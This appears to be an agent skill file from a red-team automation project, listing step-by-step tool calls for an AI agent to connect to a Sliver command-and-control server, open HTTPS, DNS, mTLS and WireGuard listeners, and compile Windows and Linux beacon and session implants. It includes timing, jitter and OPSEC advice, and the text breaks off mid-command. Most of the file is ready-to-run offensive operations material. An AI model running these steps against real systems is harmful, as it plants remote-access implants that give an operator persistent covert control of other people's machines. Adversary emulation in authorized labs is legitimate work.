c2-sliver

Files (2)

• SKILL.md
• sliver-quickstart.md · references/

SKILL.md (first lines)

# Sliver C2 Framework

Sliver is an open-source, cross-platform adversary emulation framework by BishopFox. It supports beacon (async) and session (interactive) implants over mTLS, HTTPS, DNS, and WireGuard channels with multi-operator support.

## Decepticon Setup

> **Server**: `c2-sliver` container on `sandbox-net` (daemon mode, gRPC on port 31337)
> **Client**: `sliver-client` pre-installed in sandbox
> **Config**: Auto-generated operator config at `/workspace/.sliver-configs/decepticon.cfg`
>
> ### Connection Procedure (via bash tool)
> ```
> # 1. Verify C2 reachable
> bash(command="nc -z c2-sliver 31337 && echo 'C2_OK' || echo 'C2_DOWN'")
>
> # 2. Import operator config (once — skip if already imported)
> bash(command="ls ~/.sliver-client/configs/ 2>/dev/null | grep -q . || sliver-client import /workspace/.sliver-configs/decepticon.cfg")
>
> # 3. Start interactive console in dedicated tmux session
> bash(command="sliver-client console", session="c2")
>
> # 4. Run Sliver commands interactively
> bash(command="https --lhost 0.0.0.0 --lport 443 --domain c2-sliver", is_input=True, session="c2")
> bash(command="sessions", is_input=True, session="c2")
> ```
>
> **IMPORTANT**:
> - Do NOT generate operator configs manually — use the pre-generated one at `/workspace/.sliver-configs/decepticon.cfg`
> - Do NOT start `sliver-server` in sandbox — the server runs in its own container
> - `sliver-client console` is interactive — MUST use a dedicated session (e.g. `session="c2"`) and send subsequent commands with `is_input=True`
> - If "multiple configs found": `bash(command="sliver-client console --config ~/.sliver-client/configs/decepticon_c2-sliver.cfg", session="c2")`

## 1. Listener Configuration

> All commands below run inside the Sliver console (`session="c2"`, `is_input=True`).

### HTTPS Listener
```bash
# Basic HTTPS listener on 443
https --lhost 0.0.0.0 --lport 443 --domain c2-sliver

# HTTPS with custom certificate (better OPSEC)
https --lhost 0.0.0.0 --lport 443 --domain c2-sliver \
    --cert /workspace/certs/cert.pem \
    --key /workspace/certs/key.pem

# HTTPS with Let's Encrypt (requires DNS control)
https --lhost 0.0.0.0 --lport 443 --domain c2-sliver --lets-encrypt
```

### DNS Listener
```bash
# DNS listener — requires NS record pointing to C2 server
dns --domains c2.<TARGET> --lport 53

# Verify DNS resolution
dig @c2-sliver test.c2.<TARGET> TXT +short
```

### mTLS Listener
```bash
# mTLS — encrypted, mutual authentication (recommended for internal pivoting)
mtls --lhost 0.0.0.0 --lport 8888

# mTLS on non-standard port
mtls --lhost 0.0.0.0 --lport 8443
```

### WireGuard Listener
```bash
# WireGuard tunnel — full network access through implant
wg --lhost 0.0.0.0 --lport 51820
```

## 2. Implant Generation

> **CRITICAL — Compilation Timeout**:
> Sliver's `generate` command **compiles a Go binary from source**. This takes 2-10 minutes
> depending on options. The spinner animation (`⠴ Compiling, please wait ...`) keeps the
> screen active, so stall detection will NOT trigger early.
>
> **Rules**:
> 1. **ALWAYS use `--skip-symbols`** — reduces compilation time from ~5 min to ~30 sec
> 2. **ALWAYS use `--save <path>`** — saves implant directly to the target directory.
>    Do NOT rely on the default save location and then `cp` — file copy may fail on
>    bind-mounted volumes (WSL2/NTFS "Invalid argument" error).
> 3. **Use a longer timeout** for generate commands:
>    `bash(command="generate ...", is_input=True, session="c2", timeout=300)`
>
> **Example (correct)**:
> ```
> bash(command="generate --os linux --arch amd64 --mtls c2-sliver:8888 --skip-symbols --save /workspace/exploit/", is_input=True, session="c2", timeout=300)
> ```

### Beacon (Async)
```bash
# Windows beacon via mTLS with jitter
generate beacon --mtls c2-sliver:8888 --os windows --arch amd64 \
    --seconds 30 --jitter 50 --skip-symbols \
    --name win_beacon \
    --save /workspace/exploit/

# Windows beacon via HTTPS
generate beacon --https c2-sliver:443 --os windows --arch amd64 \
    --seconds 60 --jitter 30 --skip-symbols \
    --save /workspace/exploit/

# Linux beacon via DNS (low-and-slow)
generate beacon --dns c2-sliver --os linux --arch amd64 \
    --seconds 120 --jitter 70 --skip-symbols \
    --name lin_dns \
    --save /workspace/exploit/
```

### Session (Interactive)
```bash
# Windows session — persistent connection, immediate response
generate --mtls c2-sliver:8888 --os windows --arch amd64 \
    --skip-symbols --name win_session \

From DorianGallo/Decepticon-local, Apache-2.0.

More from DorianGallo/Decepticon-local